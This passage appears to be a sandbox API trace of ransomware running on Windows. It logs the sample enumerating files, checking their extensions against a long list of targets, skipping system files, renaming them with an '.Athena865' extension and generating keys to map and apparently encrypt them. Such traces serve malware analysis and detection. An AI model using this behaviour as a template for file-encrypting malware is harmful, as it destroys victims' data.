returned 1 [0096.741] lstrlenW (lpString="alf") returned 3 [0096.742] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0096.742] lstrlenW (lpString="ask") returned 3 [0096.742] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0096.742] lstrlenW (lpString="btr") returned 3 [0096.742] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0096.742] lstrlenW (lpString="cat") returned 3 [0096.742] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0096.742] lstrlenW (lpString="cdb") returned 3 [0096.742] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0096.742] lstrlenW (lpString="ckp") returned 3 [0096.742] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0096.742] lstrlenW (lpString="cma") returned 3 [0096.742] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0096.742] lstrlenW (lpString="cpd") returned 3 [0096.742] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0096.742] lstrlenW (lpString="dacpac") returned 6 [0096.742] lstrcmpiW (lpString1="ic.txt", lpString2="dacpac") returned 1 [0096.742] lstrlenW (lpString="dad") returned 3 [0096.742] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0096.742] lstrlenW (lpString="dadiagrams") returned 10 [0096.742] lstrcmpiW (lpString1="mharic.txt", lpString2="dadiagrams") returned 1 [0096.742] lstrlenW (lpString="daschema") returned 8 [0096.742] lstrcmpiW (lpString1="aric.txt", lpString2="daschema") returned -1 [0096.742] lstrlenW (lpString="db-journal") returned 10 [0096.742] lstrcmpiW (lpString1="mharic.txt", lpString2="db-journal") returned 1 [0096.742] lstrlenW (lpString="db-shm") returned 6 [0096.742] lstrcmpiW (lpString1="ic.txt", lpString2="db-shm") returned 1 [0096.742] lstrlenW (lpString="db-wal") returned 6 [0096.742] lstrcmpiW (lpString1="ic.txt", lpString2="db-wal") returned 1 [0096.742] lstrlenW (lpString="dbc") returned 3 [0096.742] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0096.742] lstrlenW (lpString="dbs") returned 3 [0096.743] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0096.743] lstrlenW (lpString="dbt") returned 3 [0096.743] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1 [0096.743] lstrlenW (lpString="dbv") returned 3 [0096.743] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0096.743] lstrlenW (lpString="dbx") returned 3 [0096.743] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0096.743] lstrlenW (lpString="dcb") returned 3 [0096.743] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0096.743] lstrlenW (lpString="dct") returned 3 [0096.743] lstrcmpiW (lpString1="txt", lpString2="dct") returned 1 [0096.743] lstrlenW (lpString="dcx") returned 3 [0096.743] lstrcmpiW (lpString1="txt", lpString2="dcx") returned 1 [0096.743] lstrlenW (lpString="ddl") returned 3 [0096.743] lstrcmpiW (lpString1="txt", lpString2="ddl") returned 1 [0096.743] lstrlenW (lpString="dlis") returned 4 [0096.743] lstrcmpiW (lpString1=".txt", lpString2="dlis") returned -1 [0096.743] lstrlenW (lpString="dp1") returned 3 [0096.743] lstrcmpiW (lpString1="txt", lpString2="dp1") returned 1 [0096.743] lstrlenW (lpString="dqy") returned 3 [0096.743] lstrcmpiW (lpString1="txt", lpString2="dqy") returned 1 [0096.743] lstrlenW (lpString="dsk") returned 3 [0096.743] lstrcmpiW (lpString1="txt", lpString2="dsk") returned 1 [0096.743] lstrlenW (lpString="dsn") returned 3 [0096.743] lstrcmpiW (lpString1="txt", lpString2="dsn") returned 1 [0096.743] lstrlenW (lpString="dtsx") returned 4 [0096.743] lstrcmpiW (lpString1=".txt", lpString2="dtsx") returned -1 [0096.743] lstrlenW (lpString="dxl") returned 3 [0096.743] lstrcmpiW (lpString1="txt", lpString2="dxl") returned 1 [0096.743] lstrlenW (lpString="eco") returned 3 [0096.743] lstrcmpiW (lpString1="txt", lpString2="eco") returned 1 [0096.744] lstrlenW (lpString="ecx") returned 3 [0096.744] lstrcmpiW (lpString1="txt", lpString2="ecx") returned 1 [0096.744] lstrlenW (lpString="edb") returned 3 [0096.744] lstrcmpiW (lpString1="txt", lpString2="edb") returned 1 [0096.744] lstrlenW (lpString="epim") returned 4 [0096.744] lstrcmpiW (lpString1=".txt", lpString2="epim") returned -1 [0096.744] lstrlenW (lpString="fcd") returned 3 [0096.744] lstrcmpiW (lpString1="txt", lpString2="fcd") returned 1 [0096.744] lstrlenW (lpString="fdb") returned 3 [0096.744] lstrcmpiW (lpString1="txt", lpString2="fdb") returned 1 [0096.744] lstrlenW (lpString="fic") returned 3 [0096.744] lstrcmpiW (lpString1="txt", lpString2="fic") returned 1 [0096.744] lstrlenW (lpString="flexolibrary") returned 12 [0096.744] lstrcmpiW (lpString1="eAmharic.txt", lpString2="flexolibrary") returned -1 [0096.744] lstrlenW (lpString="fm5") returned 3 [0096.744] lstrcmpiW (lpString1="txt", lpString2="fm5") returned 1 [0096.744] lstrlenW (lpString="fmp") returned 3 [0096.744] lstrcmpiW (lpString1="txt", lpString2="fmp") returned 1 [0096.744] lstrlenW (lpString="fmp12") returned 5 [0096.744] lstrcmpiW (lpString1="c.txt", lpString2="fmp12") returned -1 [0096.744] lstrlenW (lpString="fmpsl") returned 5 [0096.744] lstrcmpiW (lpString1="c.txt", lpString2="fmpsl") returned -1 [0096.744] lstrlenW (lpString="fol") returned 3 [0096.744] lstrcmpiW (lpString1="txt", lpString2="fol") returned 1 [0096.744] lstrlenW (lpString="fp3") returned 3 [0096.744] lstrcmpiW (lpString1="txt", lpString2="fp3") returned 1 [0096.744] lstrlenW (lpString="fp4") returned 3 [0096.744] lstrcmpiW (lpString1="txt", lpString2="fp4") returned 1 [0096.744] lstrlenW (lpString="fp5") returned 3 [0096.744] lstrcmpiW (lpString1="txt", lpString2="fp5") returned 1 [0096.744] lstrlenW (lpString="fp7") returned 3 [0096.744] lstrcmpiW (lpString1="txt", lpString2="fp7") returned 1 [0096.744] lstrlenW (lpString="fpt") returned 3 [0096.745] lstrcmpiW (lpString1="txt", lpString2="fpt") returned 1 [0096.745] lstrlenW (lpString="frm") returned 3 [0096.745] lstrcmpiW (lpString1="txt", lpString2="frm") returned 1 [0096.745] lstrlenW (lpString="gdb") returned 3 [0096.745] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0096.745] lstrlenW (lpString="gdb") returned 3 [0096.745] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0096.745] lstrlenW (lpString="grdb") returned 4 [0096.745] lstrcmpiW (lpString1=".txt", lpString2="grdb") returned -1 [0096.745] lstrlenW (lpString="gwi") returned 3 [0096.745] lstrcmpiW (lpString1="txt", lpString2="gwi") returned 1 [0096.745] lstrlenW (lpString="hdb") returned 3 [0096.745] lstrcmpiW (lpString1="txt", lpString2="hdb") returned 1 [0096.745] lstrlenW (lpString="his") returned 3 [0096.745] lstrcmpiW (lpString1="txt", lpString2="his") returned 1 [0096.745] lstrlenW (lpString="ib") returned 2 [0096.745] lstrcmpiW (lpString1="xt", lpString2="ib") returned 1 [0096.745] lstrlenW (lpString="idb") returned 3 [0096.745] lstrcmpiW (lpString1="txt", lpString2="idb") returned 1 [0096.745] lstrlenW (lpString="ihx") returned 3 [0096.745] lstrcmpiW (lpString1="txt", lpString2="ihx") returned 1 [0096.745] lstrlenW (lpString="itdb") returned 4 [0096.745] lstrcmpiW (lpString1=".txt", lpString2="itdb") returned -1 [0096.745] lstrlenW (lpString="itw") returned 3 [0096.745] lstrcmpiW (lpString1="txt", lpString2="itw") returned 1 [0096.745] lstrlenW (lpString="jet") returned 3 [0096.745] lstrcmpiW (lpString1="txt", lpString2="jet") returned 1 [0096.745] lstrlenW (lpString="jtx") returned 3 [0096.745] lstrcmpiW (lpString1="txt", lpString2="jtx") returned 1 [0096.745] lstrlenW (lpString="kdb") returned 3 [0096.745] lstrcmpiW (lpString1="txt", lpString2="kdb") returned 1 [0096.745] lstrlenW (lpString="kexi") returned 4 [0096.746] lstrcmpiW (lpString1=".txt", lpString2="kexi") returned -1 [0096.746] lstrlenW (lpString="kexic") returned 5 [0096.746] lstrcmpiW (lpString1="c.txt", lpString2="kexic") returned -1 [0096.746] lstrlenW (lpString="kexis") returned 5 [0096.746] lstrcmpiW (lpString1="c.txt", lpString2="kexis") returned -1 [0096.746] lstrlenW (lpString="lgc") returned 3 [0096.746] lstrcmpiW (lpString1="txt", lpString2="lgc") returned 1 [0096.746] lstrlenW (lpString="lwx") returned 3 [0096.746] lstrcmpiW (lpString1="txt", lpString2="lwx") returned 1 [0096.746] lstrlenW (lpString="maf") returned 3 [0096.746] lstrcmpiW (lpString1="txt", lpString2="maf") returned 1 [0096.746] lstrlenW (lpString="maq") returned 3 [0096.746] lstrcmpiW (lpString1="txt", lpString2="maq") returned 1 [0096.746] lstrlenW (lpString="mar") returned 3 [0096.746] lstrcmpiW (lpString1="txt", lpString2="mar") returned 1 [0096.746] lstrlenW (lpString="marshal") returned 7 [0096.746] lstrcmpiW (lpString1="ric.txt", lpString2="marshal") returned 1 [0096.746] lstrlenW (lpString="mas") returned 3 [0096.746] lstrcmpiW (lpString1="txt", lpString2="mas") returned 1 [0096.746] lstrlenW (lpString="mav") returned 3 [0096.746] lstrcmpiW (lpString1="txt", lpString2="mav") returned 1 [0096.746] lstrlenW (lpString="maw") returned 3 [0096.746] lstrcmpiW (lpString1="txt", lpString2="maw") returned 1 [0096.746] lstrlenW (lpString="mdbhtml") returned 7 [0096.746] lstrcmpiW (lpString1="ric.txt", lpString2="mdbhtml") returned 1 [0096.746] lstrlenW (lpString="mdn") returned 3 [0096.746] lstrcmpiW (lpString1="txt", lpString2="mdn") returned 1 [0096.746] lstrlenW (lpString="mdt") returned 3 [0096.746] lstrcmpiW (lpString1="txt", lpString2="mdt") returned 1 [0096.746] lstrlenW (lpString="mfd") returned 3 [0096.746] lstrcmpiW (lpString1="txt", lpString2="mfd") returned 1 [0096.746] lstrlenW (lpString="mpd") returned 3 [0096.746] lstrcmpiW (lpString1="txt", lpString2="mpd") returned 1 [0096.747] lstrlenW (lpString="mrg") returned 3 [0096.747] lstrcmpiW (lpString1="txt", lpString2="mrg") returned 1 [0096.747] lstrlenW (lpString="mud") returned 3 [0096.747] lstrcmpiW (lpString1="txt", lpString2="mud") returned 1 [0096.747] lstrlenW (lpString="mwb") returned 3 [0096.747] lstrcmpiW (lpString1="txt", lpString2="mwb") returned 1 [0096.747] lstrlenW (lpString="myd") returned 3 [0096.747] lstrcmpiW (lpString1="txt", lpString2="myd") returned 1 [0096.747] lstrlenW (lpString="ndf") returned 3 [0096.747] lstrcmpiW (lpString1="txt", lpString2="ndf") returned 1 [0096.747] lstrlenW (lpString="nnt") returned 3 [0096.747] lstrcmpiW (lpString1="txt", lpString2="nnt") returned 1 [0096.747] lstrlenW (lpString="nrmlib") returned 6 [0096.747] lstrcmpiW (lpString1="ic.txt", lpString2="nrmlib") returned -1 [0096.747] lstrlenW (lpString="ns2") returned 3 [0096.747] lstrcmpiW (lpString1="txt", lpString2="ns2") returned 1 [0096.747] lstrlenW (lpString="ns3") returned 3 [0096.747] lstrcmpiW (lpString1="txt", lpString2="ns3") returned 1 [0096.747] lstrlenW (lpString="ns4") returned 3 [0096.747] lstrcmpiW (lpString1="txt", lpString2="ns4") returned 1 [0096.747] lstrlenW (lpString="nsf") returned 3 [0096.747] lstrcmpiW (lpString1="txt", lpString2="nsf") returned 1 [0096.747] lstrlenW (lpString="nv") returned 2 [0096.747] lstrcmpiW (lpString1="xt", lpString2="nv") returned 1 [0096.747] lstrlenW (lpString="nv2") returned 3 [0096.747] lstrcmpiW (lpString1="txt", lpString2="nv2") returned 1 [0096.747] lstrlenW (lpString="nwdb") returned 4 [0096.747] lstrcmpiW (lpString1=".txt", lpString2="nwdb") returned -1 [0096.747] lstrlenW (lpString="nyf") returned 3 [0096.747] lstrcmpiW (lpString1="txt", lpString2="nyf") returned 1 [0096.747] lstrlenW (lpString="odb") returned 3 [0096.747] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0096.747] lstrlenW (lpString="odb") returned 3 [0096.748] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0096.748] lstrlenW (lpString="oqy") returned 3 [0096.748] lstrcmpiW (lpString1="txt", lpString2="oqy") returned 1 [0096.748] lstrlenW (lpString="ora") returned 3 [0096.748] lstrcmpiW (lpString1="txt", lpString2="ora") returned 1 [0096.748] lstrlenW (lpString="orx") returned 3 [0096.748] lstrcmpiW (lpString1="txt", lpString2="orx") returned 1 [0096.748] lstrlenW (lpString="owc") returned 3 [0096.748] lstrcmpiW (lpString1="txt", lpString2="owc") returned 1 [0096.748] lstrlenW (lpString="p96") returned 3 [0096.748] lstrcmpiW (lpString1="txt", lpString2="p96") returned 1 [0096.748] lstrlenW (lpString="p97") returned 3 [0096.748] lstrcmpiW (lpString1="txt", lpString2="p97") returned 1 [0096.748] lstrlenW (lpString="pan") returned 3 [0096.748] lstrcmpiW (lpString1="txt", lpString2="pan") returned 1 [0096.748] lstrlenW (lpString="pdb") returned 3 [0096.748] lstrcmpiW (lpString1="txt", lpString2="pdb") returned 1 [0096.748] lstrlenW (lpString="pdm") returned 3 [0096.748] lstrcmpiW (lpString1="txt", lpString2="pdm") returned 1 [0096.748] lstrlenW (lpString="pnz") returned 3 [0096.748] lstrcmpiW (lpString1="txt", lpString2="pnz") returned 1 [0096.748] lstrlenW (lpString="qry") returned 3 [0096.748] lstrcmpiW (lpString1="txt", lpString2="qry") returned 1 [0096.748] lstrlenW (lpString="qvd") returned 3 [0096.748] lstrcmpiW (lpString1="txt", lpString2="qvd") returned 1 [0096.748] lstrlenW (lpString="rbf") returned 3 [0096.748] lstrcmpiW (lpString1="txt", lpString2="rbf") returned 1 [0096.748] lstrlenW (lpString="rctd") returned 4 [0096.748] lstrcmpiW (lpString1=".txt", lpString2="rctd") returned -1 [0096.748] lstrlenW (lpString="rod") returned 3 [0096.748] lstrcmpiW (lpString1="txt", lpString2="rod") returned 1 [0096.748] lstrlenW (lpString="rodx") returned 4 [0096.748] lstrcmpiW (lpString1=".txt", lpString2="rodx") returned -1 [0096.749] lstrlenW (lpString="rpd") returned 3 [0096.749] lstrcmpiW (lpString1="txt", lpString2="rpd") returned 1 [0096.749] lstrlenW (lpString="rsd") returned 3 [0096.749] lstrcmpiW (lpString1="txt", lpString2="rsd") returned 1 [0096.749] lstrlenW (lpString="sas7bdat") returned 8 [0096.749] lstrcmpiW (lpString1="aric.txt", lpString2="sas7bdat") returned -1 [0096.749] lstrlenW (lpString="sbf") returned 3 [0096.749] lstrcmpiW (lpString1="txt", lpString2="sbf") returned 1 [0096.749] lstrlenW (lpString="scx") returned 3 [0096.749] lstrcmpiW (lpString1="txt", lpString2="scx") returned 1 [0096.749] lstrlenW (lpString="sdb") returned 3 [0096.749] lstrcmpiW (lpString1="txt", lpString2="sdb") returned 1 [0096.749] lstrlenW (lpString="sdc") returned 3 [0096.749] lstrcmpiW (lpString1="txt", lpString2="sdc") returned 1 [0096.749] lstrlenW (lpString="sdf") returned 3 [0096.749] lstrcmpiW (lpString1="txt", lpString2="sdf") returned 1 [0096.749] lstrlenW (lpString="sis") returned 3 [0096.749] lstrcmpiW (lpString1="txt", lpString2="sis") returned 1 [0096.749] lstrlenW (lpString="spq") returned 3 [0096.749] lstrcmpiW (lpString1="txt", lpString2="spq") returned 1 [0096.749] lstrlenW (lpString="te") returned 2 [0096.749] lstrcmpiW (lpString1="xt", lpString2="te") returned 1 [0096.749] lstrlenW (lpString="teacher") returned 7 [0096.749] lstrcmpiW (lpString1="ric.txt", lpString2="teacher") returned -1 [0096.749] lstrlenW (lpString="tmd") returned 3 [0096.749] lstrcmpiW (lpString1="txt", lpString2="tmd") returned 1 [0096.749] lstrlenW (lpString="tps") returned 3 [0096.749] lstrcmpiW (lpString1="txt", lpString2="tps") returned 1 [0096.749] lstrlenW (lpString="trc") returned 3 [0096.749] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0096.749] lstrlenW (lpString="trc") returned 3 [0096.749] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0096.749] lstrlenW (lpString="trm") returned 3 [0096.750] lstrcmpiW (lpString1="txt", lpString2="trm") returned 1 [0096.750] lstrlenW (lpString="udb") returned 3 [0096.750] lstrcmpiW (lpString1="txt", lpString2="udb") returned -1 [0096.750] lstrlenW (lpString="udl") returned 3 [0096.750] lstrcmpiW (lpString1="txt", lpString2="udl") returned -1 [0096.750] lstrlenW (lpString="usr") returned 3 [0096.750] lstrcmpiW (lpString1="txt", lpString2="usr") returned -1 [0096.750] lstrlenW (lpString="v12") returned 3 [0096.750] lstrcmpiW (lpString1="txt", lpString2="v12") returned -1 [0096.750] lstrlenW (lpString="vis") returned 3 [0096.750] lstrcmpiW (lpString1="txt", lpString2="vis") returned -1 [0096.750] lstrlenW (lpString="vpd") returned 3 [0096.750] lstrcmpiW (lpString1="txt", lpString2="vpd") returned -1 [0096.750] lstrlenW (lpString="vvv") returned 3 [0096.750] lstrcmpiW (lpString1="txt", lpString2="vvv") returned -1 [0096.750] lstrlenW (lpString="wdb") returned 3 [0096.750] lstrcmpiW (lpString1="txt", lpString2="wdb") returned -1 [0096.750] lstrlenW (lpString="wmdb") returned 4 [0096.750] lstrcmpiW (lpString1=".txt", lpString2="wmdb") returned -1 [0096.750] lstrlenW (lpString="wrk") returned 3 [0096.750] lstrcmpiW (lpString1="txt", lpString2="wrk") returned -1 [0096.750] lstrlenW (lpString="xdb") returned 3 [0096.750] lstrcmpiW (lpString1="txt", lpString2="xdb") returned -1 [0096.750] lstrlenW (lpString="xld") returned 3 [0096.750] lstrcmpiW (lpString1="txt", lpString2="xld") returned -1 [0096.750] lstrlenW (lpString="xmlff") returned 5 [0096.750] lstrcmpiW (lpString1="c.txt", lpString2="xmlff") returned -1 [0096.750] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt.Athena865") returned 88 [0096.750] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceamharic.txt"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceamharic.txt.athena865"), dwFlags=0x1) returned 1 [0096.751] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceamharic.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.751] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16212) returned 1 [0096.751] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.752] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.752] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.752] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.753] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4260, lpName=0x0) returned 0x17c [0096.754] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4260) returned 0x100000 [0096.755] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.756] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.756] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.757] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.757] CloseHandle (hObject=0x17c) returned 1 [0096.757] CloseHandle (hObject=0x154) returned 1 [0096.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.757] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47eeed6d, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x47eeed6d, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x77e3f2fc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x136bf6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1 [0096.757] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.757] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.757] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".") returned 1 [0096.757] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="..") returned 1 [0096.757] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="windows") returned -1 [0096.757] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="bootmgr") returned 1 [0096.757] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="temp") returned -1 [0096.757] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="pagefile.sys") returned 1 [0096.758] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="boot") returned 1 [0096.758] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="ids.txt") returned 1 [0096.758] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="ntuser.dat") returned 1 [0096.758] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="perflogs") returned 1 [0096.758] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="MSBuild") returned 1 [0096.758] lstrlenW (lpString="TableTextServiceArray.txt") returned 25 [0096.758] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TableTextServiceArray.txt" | out: lpString1="TableTextServiceArray.txt") returned="TableTextServiceArray.txt" [0096.758] lstrlenW (lpString="TableTextServiceArray.txt") returned 25 [0096.758] lstrlenW (lpString="Athena865") returned 9 [0096.758] lstrcmpiW (lpString1="Array.txt", lpString2="Athena865") returned -1 [0096.758] lstrlenW (lpString=".dll") returned 4 [0096.758] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".dll") returned 1 [0096.758] lstrlenW (lpString=".lnk") returned 4 [0096.758] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".lnk") returned 1 [0096.758] lstrlenW (lpString=".ini") returned 4 [0096.758] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".ini") returned 1 [0096.758] lstrlenW (lpString=".sys") returned 4 [0096.758] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".sys") returned 1 [0096.758] lstrlenW (lpString="TableTextServiceArray.txt") returned 25 [0096.758] lstrlenW (lpString="bak") returned 3 [0096.758] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0096.758] lstrlenW (lpString="ba_") returned 3 [0096.758] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0096.758] lstrlenW (lpString="dbb") returned 3 [0096.758] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0096.758] lstrlenW (lpString="vmdk") returned 4 [0096.758] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0096.758] lstrlenW (lpString="rar") returned 3 [0096.758] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0096.758] lstrlenW (lpString="zip") returned 3 [0096.758] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0096.758] lstrlenW (lpString="tgz") returned 3 [0096.759] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0096.759] lstrlenW (lpString="vbox") returned 4 [0096.759] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0096.759] lstrlenW (lpString="vdi") returned 3 [0096.759] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0096.759] lstrlenW (lpString="vhd") returned 3 [0096.759] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0096.759] lstrlenW (lpString="vhdx") returned 4 [0096.759] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0096.759] lstrlenW (lpString="avhd") returned 4 [0096.759] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0096.759] lstrlenW (lpString="db") returned 2 [0096.759] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0096.759] lstrlenW (lpString="db2") returned 3 [0096.759] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0096.759] lstrlenW (lpString="db3") returned 3 [0096.759] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0096.759] lstrlenW (lpString="dbf") returned 3 [0096.759] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0096.759] lstrlenW (lpString="mdf") returned 3 [0096.759] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0096.759] lstrlenW (lpString="mdb") returned 3 [0096.759] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0096.759] lstrlenW (lpString="sql") returned 3 [0096.759] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0096.759] lstrlenW (lpString="sqlite") returned 6 [0096.759] lstrcmpiW (lpString1="ay.txt", lpString2="sqlite") returned -1 [0096.759] lstrlenW (lpString="sqlite3") returned 7 [0096.759] lstrcmpiW (lpString1="ray.txt", lpString2="sqlite3") returned -1 [0096.759] lstrlenW (lpString="sqlitedb") returned 8 [0096.759] lstrcmpiW (lpString1="rray.txt", lpString2="sqlitedb") returned -1 [0096.759] lstrlenW (lpString="xml") returned 3 [0096.759] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0096.760] lstrlenW (lpString="$er") returned 3 [0096.760] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0096.760] lstrlenW (lpString="4dd") returned 3 [0096.760] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0096.760] lstrlenW (lpString="4dl") returned 3 [0096.760] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0096.760] lstrlenW (lpString="^^^") returned 3 [0096.760] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0096.760] lstrlenW (lpString="abs") returned 3 [0096.760] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0096.760] lstrlenW (lpString="abx") returned 3 [0096.760] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0096.760] lstrlenW (lpString="accdb") returned 5 [0096.760] lstrcmpiW (lpString1="y.txt", lpString2="accdb") returned 1 [0096.760] lstrlenW (lpString="accdc") returned 5 [0096.760] lstrcmpiW (lpString1="y.txt", lpString2="accdc") returned 1 [0096.760] lstrlenW (lpString="accde") returned 5 [0096.760] lstrcmpiW (lpString1="y.txt", lpString2="accde") returned 1 [0096.760] lstrlenW (lpString="accdr") returned 5 [0096.760] lstrcmpiW (lpString1="y.txt", 